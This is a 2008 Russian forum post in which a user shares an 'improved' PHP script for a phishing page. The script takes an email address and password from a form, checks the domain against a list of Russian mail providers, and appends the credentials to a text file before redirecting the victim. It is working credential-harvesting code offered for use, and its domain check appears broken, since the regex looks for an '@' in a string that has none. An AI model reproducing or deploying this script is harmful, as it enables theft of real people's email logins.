
21.09.2008, 20:20
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
Немного поприличнее вариант:
PHP код:
<?php
$mail=Array(
"mail.ru",
"list.ru",
"inbox.ru",
"bk.ru",
"yandex.ru",
"rambler.ru"
);
if (!isset($_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]=='') //проверяет поле на пустоту
header('Location: error1.php');
else
{
$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла
if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1]))
{
$fh=fopen("kont.txt","a+");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
}
else
{
header('Location: error2.php');
}
}
?>
Последний раз редактировалось d_x; 21.09.2008 в 23:22..
|
|
|